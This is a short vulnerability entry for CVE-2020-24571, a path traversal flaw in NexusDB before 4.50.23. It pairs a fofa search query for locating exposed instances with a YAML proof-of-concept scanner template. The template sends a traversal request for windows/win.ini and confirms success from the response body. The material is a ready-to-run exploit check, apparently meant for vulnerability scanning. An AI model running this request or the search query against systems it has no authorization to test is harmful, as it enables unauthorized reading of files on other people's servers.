CVE-2020-24571: NexusDB v4.50.22 Path Traversal

2025-08-01 NexusDB v4.50.22 PoC Public

Description

NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal.

fofa: title="NexusDB"

PoC

id: CVE-2020-24571

info:
  name: NexusDB v4.50.22 Path Traversal
  author: su
  severity: high
  verified: true
  description: |-
    NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal.
    fofa: title="NexusDB"
  reference:
    - https://suzzz112113.github.io/2023/06/23/nexusdb-path-traversal/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24571
  tags: cve,cve2020,nexusdb,traversal
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /../../../../../../../../windows/win.ini
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes("[extensions]")) && response.content_type.contains("application/octet-stream")
expression: r0()

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